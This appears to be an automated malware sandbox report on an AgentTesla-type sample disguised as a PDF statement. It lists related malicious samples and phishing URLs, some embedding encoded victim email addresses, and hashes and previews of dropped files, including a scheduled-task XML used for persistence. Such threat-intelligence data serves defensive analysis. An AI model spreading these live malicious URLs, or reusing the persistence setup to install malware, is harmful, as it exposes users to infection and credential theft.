Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.fascia-arch.com	DHL STATEMENT OF ACCOUNT - 1003657363.exe	Get hash	malicious	AgentTesla	Browse	50.87.195.61
	PO.exe	Get hash	malicious	AgentTesla	Browse	50.87.195.61
	IOJMZilMeH.exe	Get hash	malicious	AgentTesla	Browse	50.87.195.61
	PO#7A68D20.exe	Get hash	malicious	AgentTesla	Browse	50.87.195.61
api.ipify.org	Payment Swift.doc	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://lide.alosalca.fun/highbox#joeblow@xyz.com	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	http://asana.wf	Get hash	malicious	Unknown	Browse	172.67.74.152
	o3KyzpE7F4.ps1	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	http://wsj.pm	Get hash	malicious	NetSupport RAT	Browse	104.26.12.205
	16770075581.zip	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.18376.4403.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.25877.26069.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	Proforma Request.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Spare part list.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://householdshop.club/	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://xred.site50.net/syn/SSLLibrary.dll	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://tracking.theimpco.com/tracking/click?d=OrpweRVshItmHO3qVpYwg0JJ3qp4iuwmt5687ge2H9uFpmeuDd2X4dPYczAnrgigX6DFu-Km6YtBvUpjEWnC0qAPektAg_1gGuxaDYDl5nf8rOcHvuOtOBIWknNeVHzB3g2	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.18.28.104
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.18.28.104
	http://cleverchoice.com.au	Get hash	malicious	Unknown	Browse	104.18.28.104
	Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	http://callumsyed.net/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	172.67.142.245
	https://therufus.org/download.php	Get hash	malicious	Unknown	Browse	104.21.65.18
UNIFIEDLAYER-AS-1US	INQ No. HDPE-16-GM-00- PI-INQ-3001.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	162.240.81.18
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	192.232.216.145
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	192.232.216.145
	DOC-Zcns1G_.html	Get hash	malicious	HTMLPhisher	Browse	192.232.216.145
	https://www.bing.com/ck/a?!&&p=8c604c2d3901cb1eJmltdHM9MTcxMjc5MzYwMCZpZ3VpZD0wODdjNjgyYy00N2ZlLTYyOGQtMzA1ZC03YmVmNDY5NTYzNjUmaW5zaWQ9NTE2MQ&ptn=3&ver=2&hsh=3&fclid=087c682c-47fe-628d-305d-7bef46956365&u=a1aHR0cHM6Ly9rZWljb3NlY3VyaXR5LmNvbS5teC8&ntb=1	Get hash	malicious	Unknown	Browse	192.185.214.24
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/o76fri/enpmZG9tbF9zdXBlcnZpc29yMXN0X2Fzc2lzdGFudEBmZC5vcmc=	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://pub-02d879d6055b4f31b3db7cbbb1499011.r2.dev/%60%60~~~%5D%5D%5D%5D%5D.html#theunis@khk.co.za	Get hash	malicious	HTMLPhisher	Browse	162.241.27.10
	https://content.amanet.org/?m=CiGW.81UwlU3LD6ZH5M4ZoUXv03dAeWfC&r=https://control.mailblaze.com/index.php/survey/ps97367sjy584	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	162.241.114.35

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	DHL_ES567436735845755676678877988975877.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	104.26.12.205
	PO-inv-CQV20(92315).exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	a.cmd	Get hash	malicious	Unknown	Browse	104.26.12.205
	http://papajoeschicago.com	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://www.bing.com/ck/a?!&&p=8c604c2d3901cb1eJmltdHM9MTcxMjc5MzYwMCZpZ3VpZD0wODdjNjgyYy00N2ZlLTYyOGQtMzA1ZC03YmVmNDY5NTYzNjUmaW5zaWQ9NTE2MQ&ptn=3&ver=2&hsh=3&fclid=087c682c-47fe-628d-305d-7bef46956365&u=a1aHR0cHM6Ly9rZWljb3NlY3VyaXR5LmNvbS5teC8&ntb=1	Get hash	malicious	Unknown	Browse	104.26.12.205
	o3KyzpE7F4.ps1	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	http://wsj.pm	Get hash	malicious	NetSupport RAT	Browse	104.26.12.205
	Isass.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://itniy4gbb.cc.rs6.net/tn.jsp?f=001DpCT81a7BIE926OduG6KmKkwKebSAbUZq28C52DoY-FfQJyM_2Gq3l18V1j7KWwJQTfGlQ_HSq0vC8xqJqFST9z0CwmpWgUieBjKckdJcSODJ_3vu5MzvaSoOGbGY9SjpWQtg9-aAXm1e6VV91z84Q2_wlyDMR98&c=i37ZFF5Dy2QSFqOfb2TVpr5vkMFqaR6DdoQbIhzcRV7G2oFwX8NEvA==&ch=2ErEiCYnoykaXa1uoD0AgTD1vOpSqc6zh3ef32Gb4XR_ut8_qvmzHA==&c=&ch=&__=/mrlZp0zmTKgGvsPpx0JUyCMjGZr4J6/Z2dvbnphbGV6c2FsYXNAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205

Process:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SOA FOR APR 2024 PDF.exe.log

Download File

Process:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\eeBIYZL.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\eeBIYZL.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4xympjgs4RIoU99tK8NPZHUl7u1iMuge//8M0Uyus:lGLHxvCsIfA2KRHmOugw1s
MD5:	B11E25ABF5BF7766D7D7437596AFFED0
SHA1:	D673CFF28D1C21A672BFE165614629B2BB23DE93
SHA-256:	EE402CA8A7E7FA1F95CD644AFE756C8AF734E810797FD3E9C6762FCC2510F3F6
SHA-512:	D4C19BF1948BCF50899840F4B670ECF7510D65597054A89963D3155DB3869E65F2ABA2F6CE9C9E5F18890A65719E514E1D1EC6394EF99DF21E60F8220FA157C4
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0ibc5ldv.n1m.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3y3jasax.ltn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmva4iqf.d3n.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dr0amdqh.h0i.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqn0tmik.0o2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k1hmvqm3.j5f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njl2nzqb.hxd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxgopani.ari.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp2ADA.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.102838589420805
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtOxvn:cgergYrFdOFzOzN33ODOiDdKrsuTCv
MD5:	86AAC1A561EE5A392DE50B16A2CBB61A
SHA1:	895CF6E52F0E56941AB14E1287E8173F1DB7CF52
SHA-256:	E1C802092F0FDE389CFC62DC3D054ADAF017A66B37D392FED9A1A8284AC369D3
SHA-512:	6A8F4C47A0D1AF7049D5CEC1E12E28D385C91398392591B57FB0D6A30FB78DC58F150369118F917A5EFEEE22507D2168521DA68A23EFBA65B52618195E2FB24E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmp9B5.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.102838589420805
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtOxvn:cgergYrFdOFzOzN33ODOiDdKrsuTCv
MD5:	86AAC1A561EE5A392DE50B16A2CBB61A
SHA1:	895CF6E52F0E56941AB14E1287E8173F1DB7CF52
SHA-256:	E1C802092F0FDE389CFC62DC3D054ADAF017A66B37D392FED9A1A8284AC369D3
SHA-512:	6A8F4C47A0D1AF7049D5CEC1E12E28D385C91398392591B57FB0D6A30FB78DC58F150369118F917A5EFEEE22507D2168521DA68A23EFBA65B52618195E2FB24E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpCB26.tmp

Download File

Process:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.102838589420805
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtOxvn:cgergYrFdOFzOzN33ODOiDdKrsuTCv
MD5:	86AAC1A561EE5A392DE50B16A2CBB61A
SHA1:	895CF6E52F0E56941AB14E1287E8173F1DB7CF52
SHA-256:	E1C802092F0FDE389CFC62DC3D054ADAF017A66B37D392FED9A1A8284AC369D3
SHA-512:	6A8F4C47A0D1AF7049D5CEC1E12E28D385C91398392591B57FB0D6A30FB78DC58F150369118F917A5EFEEE22507D2168521DA68A23EFBA65B52618195E2FB24E
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\eeBIYZL.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.102838589420805
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtOxvn:cgergYrFdOFzOzN33ODOiDdKrsuTCv
MD5:	86AAC1A561EE5A392DE50B16A2CBB61A
SHA1:	895CF6E52F0E56941AB14E1287E8173F1DB7CF52
SHA-256:	E1C802092F0FDE389CFC62DC3D054ADAF017A66B37D392FED9A1A8284AC369D3
SHA-512:	6A8F4C47A0D1AF7049D5CEC1E12E28D385C91398392591B57FB0D6A30FB78DC58F150369118F917A5EFEEE22507D2168521DA68A23EFBA65B52618195E2FB24E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

